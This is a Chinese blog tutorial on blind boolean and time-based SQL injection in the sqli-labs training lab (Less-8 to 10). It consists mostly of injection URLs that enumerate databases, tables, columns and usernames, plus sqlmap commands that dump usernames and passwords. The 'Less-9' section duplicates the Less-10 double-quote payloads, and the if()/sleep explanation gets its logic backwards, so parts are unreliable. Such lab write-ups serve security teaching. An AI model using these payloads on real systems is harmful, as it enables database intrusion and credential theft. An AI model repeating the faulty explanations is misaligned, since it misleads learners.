sqli-labs靶场实现(二)【不显示错误内容的盲注(布尔、时间)】(less-8~10、具体步骤+图文详解)

一)不再显示不再显示错误的盲注
  1)盲注介绍——盲注的流程
  2)get基于时间的盲注(less9(单引号)、less10(双引号))
  3)get基于boolena的盲注(less8(单引号))
  4)sqlmap安全测试

————————————————————————————————————————————————————


一)不再显示不再显示错误的盲注

1)盲注介绍

盲注(blind SQL)是注入攻击的其中一种,它通过向数据库发送true或者false并根据应用程序返回的信息判断结果,这种攻击的程序是因为本身在设置配置时就设计成只显示对错但并不显示解决SQL注入存在的代码问题的方法(也就是不会将SQL语句的错误原因和位置显示出来,只显示对或者错的这个结果)。

盲注分类:时间盲注、布尔型盲注

判断是否存在注入:

id=1(正常显示:you are in)
id=2(正常显示:you are in)
id=1'(错误:不显示任何内容)
id=2'(错误:不显示任何内容)
id=2\(错误:不显示任何内容)【双引号闭合】

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

盲注大致流程:

1.判断是否存在注入,注入是字符型还是数字型(方法同显注的union相同)
2.判断字段数(order by)
3.猜解数据库个数
4.猜解指定数据库名称长度
5.猜解指定数据库名称
6.猜解指定数据库中表的个数
7.猜解指定数据库中表名长度
8.猜解指定数据库中表名
9.猜解指定数据库中指定表的字段数
10.猜解指定数据库中指定表的字段长度
11.猜解指定数据库中指定表的字段名
12.猜解指定数据库中指定表的字段内容个数
13.猜解指定数据库中指定表的字段内容长度
14.猜解指定数据库中指定表的字段内容


2)get基于时间的盲注

先进行基本语句解析:

if(ascii(substr(database(),1,1)=115),1,sleep(5));
        ————当数据库名称的第一个字母的ascii码=115时,执行一次sleep(5)函数等待51if(条件,1,sleep(5))
2ascii(字符1)=115
3substr(string,1,1)
4database()

由外到内层层拆分:
1if(条件,1,sleep(5))————如果条件符合,那么执行一次sleep(5),否则不执行;
1')if(条件,2,sleep(5))————如果条件符合,那么执行两次sleep(5),否则不执行;
2ascii(字符1)=115————将 字符1 转换为ascii码并与115进行比较
3substr(string,1,1)————从string字符串的第一个字符开始截取并且只截取一个字符
4database()————获取当前数据库名称
if() --+  #显示正常
ascii()=105,sleep(5),1
substr((),1)
select schema_name from information_schema.schemata limit 0,1

a)判断是否存在基于时间的盲注

http://192.168.67.143/sqli/Less-10/?id=1" and sleep(5) --+
如果页面需加载5秒就说明存在基于时间的盲注

b)猜解数据库个数

http://192.168.67.143/sqli/Less-10/?id=1" and if((select count(schema_name) from information_schema.schemata)>1,sleep(5),1) --+

c)猜解数据库个数

http://192.168.67.143/sqli/Less-10/?id=1" and if((select count(schema_name) from information_schema.schemata)>1,sleep(5),1) --+   #显示正常

d)猜解指定数据库名称长度

http://192.168.67.143/sqli/Less-10/?id=1" and if(length((select schema_name from information_schema.schemata limit 0,1))=1,sleep(5),1) --+  #显示不正常

e)猜解指定数据库名称

http://192.168.67.143/sqli/Less-10/?id=1" and if(ascii(substr((select schema_name from information_schema.schemata limit 0,1),1))=105,sleep(5),1) --+  #显示正常

f)猜解指定数据库中表的个数

http://192.168.67.143/sqli/Less-10/?id=1" and if(((select count(table_name) from information_schema.tables where table_schema='security' limit 0,1))=4,sleep(5),1) --+  #显示正常

g)猜解指定数据库中表名长度

http://192.168.67.143/sqli/Less-10/?id=1" and if(length((select table_name from information_schema.tables where table_schema='security' limit 0,1))=6,sleep(5),1) --+  #显示正常

h)猜解指定数据库中表名

http://192.168.67.143/sqli/Less-10/?id=1" and if(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1))=101,sleep(5),1) --+  #显示正常

i)猜解指定数据库中指定表的字段数

http://192.168.67.143/sqli/Less-10/?id=1" and if((select count(column_name) from information_schema.columns where table_schema='security' and table_name='users')=3,sleep(5),1) --+  #显示正常

j)猜解指定数据库中指定表的字段长度

http://192.168.67.143/sqli/Less-10/?id=1" and if(length((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1))=2,sleep(5),1) --+  #显示正常 

k)猜解指定数据库中指定表的字段名

http://192.168.67.143/sqli/Less-10/?id=1" and if(ascii(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),1))=105,sleep(5),1) --+  #显示正常 

l)猜解指定数据库中指定表的字段内容个数

http://192.168.67.143/sqli/Less-10/?id=1" and if((select count(username) from users)=13,sleep(5),1) --+  #显示正常 

m)猜解指定数据库中指定表的字段内容长度

http://192.168.67.143/sqli/Less-10/?id=1" and if(length((select username from users limit 0,1))=4,sleep(5),1) --+  #显示正常

n)猜解指定数据库中指定表的字段内容

http://192.168.67.143/sqli/Less-10/?id=1" and if(ascii(substr((select username from users limit 0,1),1))=68,sleep(5),1) --+  #显示正常

less10:

a)判断是否存在基于时间的盲注

http://192.168.67.143/sqli/Less-10/?id=1" and sleep(5) --+
如果页面需加载5秒就说明存在基于时间的盲注

b)猜解数据库个数

http://192.168.67.143/sqli/Less-10/?id=1" and if((select count(schema_name) from information_schema.schemata)>1,sleep(5),1) --+

c)猜解数据库个数

http://192.168.67.143/sqli/Less-10/?id=1" and if((select count(schema_name) from information_schema.schemata)>1,sleep(5),1) --+   #显示正常

d)猜解指定数据库名称长度

http://192.168.67.143/sqli/Less-10/?id=1" and if(length((select schema_name from information_schema.schemata limit 0,1))=1,sleep(5),1) --+  #显示不正常

e)猜解指定数据库名称

http://192.168.67.143/sqli/Less-10/?id=1" and if(ascii(substr((select schema_name from information_schema.schemata limit 0,1),1))=105,sleep(5),1) --+  #显示正常

f)猜解指定数据库中表的个数

http://192.168.67.143/sqli/Less-10/?id=1" and if(((select count(table_name) from information_schema.tables where table_schema='security' limit 0,1))=4,sleep(5),1) --+  #显示正常

g)猜解指定数据库中表名长度

http://192.168.67.143/sqli/Less-10/?id=1" and if(length((select table_name from information_schema.tables where table_schema='security' limit 0,1))=6,sleep(5),1) --+  #显示正常

h)猜解指定数据库中表名

http://192.168.67.143/sqli/Less-10/?id=1" and if(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1))=101,sleep(5),1) --+  #显示正常

i)猜解指定数据库中指定表的字段数

http://192.168.67.143/sqli/Less-10/?id=1" and if((select count(column_name) from information_schema.columns where table_schema='security' and table_name='users')=3,sleep(5),1) --+  #显示正常

j)猜解指定数据库中指定表的字段长度

http://192.168.67.143/sqli/Less-10/?id=1" and if(length((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1))=2,sleep(5),1) --+  #显示正常 

k)猜解指定数据库中指定表的字段名

http://192.168.67.143/sqli/Less-10/?id=1" and if(ascii(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),1))=105,sleep(5),1) --+  #显示正常 

l)猜解指定数据库中指定表的字段内容个数

http://192.168.67.143/sqli/Less-10/?id=1" and if((select count(username) from users)=13,sleep(5),1) --+  #显示正常 

m)猜解指定数据库中指定表的字段内容长度

http://192.168.67.143/sqli/Less-10/?id=1" and if(length((select username from users limit 0,1))=4,sleep(5),1) --+  #显示正常

n)猜解指定数据库中指定表的字段内容

http://192.168.67.143/sqli/Less-10/?id=1" and if(ascii(substr((select username from users limit 0,1),1))=68,sleep(5),1) --+  #显示正常


3)get基于boolena的盲注:less8(基于布尔盲注):

a)判断是否存在注入,注入是字符型还是数字型(方法同显注的union相同):

id=1(有显示)
id=1'(无显示)
id=1 and 1=1(有显示)
id=1 and 1=2(有显示,但其实是没反应,也就是没有进入SQL数据库进行判断)
id=1' and 1=1 --+(有显示)
id=1' and 1=2 --+(无显示)

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

在这里插入图片描述
结论:字符型(因为字符型的会显示不同的提示证明SQL语句被成功执行,而数字型无论SQL对错页面显示的提示都是相同的证明SQL语句并没有被执行)。

b)判断字段数

http://192.168.67.143/sqli/Less-8/?id=1' order by 1 --+ (正常)
http://192.168.67.143/sqli/Less-8/?id=1' order by 2 --+ (正常)
http://192.168.67.143/sqli/Less-8/?id=1' order by 3 --+ (正常)
http://192.168.67.143/sqli/Less-8/?id=1' order by 4 --+ (错误)

在这里插入图片描述
在这里插入图片描述
结论:字段数为3

c)猜解数据库个数:

http://192.168.67.143/sqli/Less-8/?id=1' and (select count(schema_name) from information_schema.schemata)>1 --+   #显示正常
 ...
http://192.168.67.143/sqli/Less-8/?id=1' and (select count(schema_name) from information_schema.schemata)>6 --+   #显示正常
http://192.168.67.143/sqli/Less-8/?id=1' and (select count(schema_name) from information_schema.schemata)>7 --+   #显示错误

在这里插入图片描述

在这里插入图片描述
在这里插入图片描述

结论:数据库数量为7

d)猜解数据库名称长度:

从 id=1' and 1=1
   id=1' and 1>1 扩展来的:
   
http://192.168.67.143/sqli/Less-8/?id=1' and length((select schema_name from information_schema.schemata limit 0,1))=1 --+  #显示不正常
...
http://192.168.67.143/sqli/Less-8/?id=1' and length((select schema_name from information_schema.schemata limit 0,1))=18 --+  #显示正常
说明第一个数据库的长度为18

http://192.168.67.143/sqli/Less-8/?id=1' and length((select schema_name from information_schema.schemata limit 1,1))=10 --+  #显示正常
说明第二个数据库长度为10

后续只需修改limit的值和length值即可,不再累赘详解。

在这里插入图片描述

e)猜解数据库名称:

http://192.168.67.143/sqli/Less-8/?id=1' and ascii(substr((select schema_name from information_schema.schemata limit 0,1),1))=105 --+  #显示正常
说明第一个数据库的第一个字符为i

http://192.168.67.143/sqli/Less-8/?id=1' and ascii(substr((select schema_name from information_schema.schemata limit 0,1),2))=110 --+  #显示正常
说明第一个数据库的第二个字符为n

http://192.168.67.143/sqli/Less-8/?id=1' and ascii(substr((select schema_name from information_schema.schemata limit 1,1),1))=99 --+  #显示正常
说明第二个数据库的第一个字符为c

http://192.168.67.143/sqli/Less-8/?id=1' and ascii(substr((select schema_name from information_schema.schemata limit 1,1),2))=104 --+  #显示正常
说明第二个数据库的第二个字符为h

后续只需修改limit的值和substr值即可,不再累赘详解。

在这里插入图片描述
在这里插入图片描述
f)猜解指定数据库中表的个数:

http://192.168.67.143/sqli/Less-8/?id=1' and ((select count(table_name) from information_schema.tables where table_schema='security' limit 0,1))=4 --+  #显示正常
说明security数据库的表个数为4

在这里插入图片描述

g)猜解指定数据库中表名长度:

http://192.168.67.143/sqli/Less-8/?id=1' and length((select table_name from information_schema.tables where table_schema='security' limit 0,1))=6 --+  #显示正常
说明security数据库的第一个表名长度为6

http://192.168.67.143/sqli/Less-8/?id=1' and length((select table_name from information_schema.tables where table_schema='security' limit 1,1))=8 --+  #显示正常
说明security数据库的第二个表名长度为8

后续只需修改limit的值和substr值即可,不再累赘详解。

在这里插入图片描述
在这里插入图片描述
h)猜解指定数据库中表名

http://192.168.67.143/sqli/Less-8/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1))=101 --+  #显示正常
说明security数据库的第一个表的第一个字符为e

http://192.168.67.143/sqli/Less-8/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),2))=109 --+  #显示正常
说明security数据库的第一个表的第二个字符为m

http://192.168.67.143/sqli/Less-8/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 1,1),1))=114 --+  #显示正常
说明security数据库的第二个表的第一个字符为r

http://192.168.67.143/sqli/Less-8/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 2,1),2))=101 --+  #显示正常
说明security数据库的第二个表的第二个字符为e

后续只需修改limit的值和substr值即可,不再累赘详解。

i)猜解指定数据库中指定表的字段数:

http://192.168.67.143/sqli/Less-8/?id=1' and (select count(column_name) from information_schema.columns where table_schema='security' and table_name='users')=3 --+  #显示正常
说明security数据库的users表字段数为3

在这里插入图片描述

j)猜解指定数据库中指定表的字段长度:

http://192.168.67.143/sqli/Less-8/?id=1' and length((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1))=2 --+  #显示正常 
说明security数据库的users表的第一个字段长为2

http://192.168.67.143/sqli/Less-8/?id=1' and length((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 1,1))=8 --+  #显示正常 
说明security数据库的users表的第二个字段长为8

后续只需修改limit的值和substr值即可,不再累赘详解。

k)猜解指定数据库中指定表的字段名

http://192.168.67.143/sqli/Less-8/?id=1' and ascii(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),1))=105 --+  #显示正常 
说明security数据库的users表的第一个字段的第一个字符为i

http://192.168.67.143/sqli/Less-8/?id=1' and ascii(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),2))=98 --+  #显示正常 
说明security数据库的users表的第一个字段的第二个字符为d

http://192.168.67.143/sqli/Less-8/?id=1' and ascii(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 1,1),1))=117 --+  #显示正常 
说明security数据库的users表的第二个字段的第一个字符为u

http://192.168.67.143/sqli/Less-8/?id=1' and ascii(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 1,1),2))=115 --+  #显示正常 
说明security数据库的users表的第二个字段的第二个字符为s

后续只需修改limit的值和substr值即可,不再累赘详解。

在这里插入图片描述
在这里插入图片描述

l)猜解指定数据库中指定表的字段内容个数

http://192.168.67.143/sqli/Less-8/?id=1' and (select count(username) from users)=13 --+  #显示正常 
说明数据库的users表username字段的数据个数为13

在这里插入图片描述

m)猜解指定数据库中指定表的字段内容长度

http://192.168.67.143/sqli/Less-8/?id=1' and length((select username from users limit 0,1))=4 --+  #显示正常
说明数据库的users表username字段的第一个数据长度为4

http://192.168.67.143/sqli/Less-8/?id=1' and length((select username from users limit 1,1))=8 --+  #显示正常
说明数据库的users表username字段的第二个数据长度为8

后续只需修改limit的值即可,不再累赘详解。

n)猜解指定数据库中指定表的字段内容

http://192.168.67.143/sqli/Less-8/?id=1' and ascii(substr((select username from users limit 0,1),1))=68 --+  #显示正常
说明数据库的users表username字段的第一个数据的第一个字符为D

http://192.168.67.143/sqli/Less-8/?id=1' and ascii(substr((select username from users limit 0,1),2))=117 --+  #显示正常
说明数据库的users表username字段的第一个数据的第二个字符为u

http://192.168.67.143/sqli/Less-8/?id=1' and ascii(substr((select username from users limit 1,1),1))=65 --+  #显示正常
说明数据库的users表username字段的第二个数据的第一个字符为A

http://192.168.67.143/sqli/Less-8/?id=1' and ascii(substr((select username from users limit 1,1),2))=110 --+  #显示正常
说明数据库的users表username字段的第二个数据的第二个字符为n

后续只需修改limit的值和substr值即可,不再累赘详解。


4)sqlmap安全测试

如果我们可以确定SQL注入类型是布尔盲注,那么我么在使用sqlmap探测时就可以设置探测技术针对布尔盲注:
在这里插入图片描述

注:默认是 BEUSTQ——B是布尔,E是报错,U是联合,S是堆叠,T是时间,Q是查询

布尔盲注:

a)获取所以数据库:

python sqlmap.py -u "192.168.67.143/sqli/Less-8/?id=1" --technique B --dbs --batch

在这里插入图片描述
结果图:
在这里插入图片描述

b)获取指定数据库中所有表:

python sqlmap.py -u "192.168.67.143/sqli/Less-8/?id=1" --technique B -D security --tables --batch

c)获取指定数据库指定表中所有字段:

python sqlmap.py -u "192.168.67.143/sqli/Less-8/?id=1" --technique B -D security -T users --columns --batch

d)dump数据:

python sqlmap.py -u "192.168.67.143/sqli/Less-8/?id=1" --technique B -D security -T users -C username,password --dump --batch

时间盲注:

a)获取所以数据库:

python sqlmap.py -u "192.168.67.143/sqli/Less-8/?id=1" --technique T --dbs --batch

b)获取指定数据库中所有表:

python sqlmap.py -u "192.168.67.143/sqli/Less-8/?id=1" --technique T -D security --tables --batch

c)获取指定数据库指定表中所有字段:

python sqlmap.py -u "192.168.67.143/sqli/Less-8/?id=1" --technique T -D security -T users --columns --batch

d)dump数据:

python sqlmap.py -u "192.168.67.143/sqli/Less-8/?id=1" --technique T -D security -T users -C username,password --dump --batch




  • 0
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值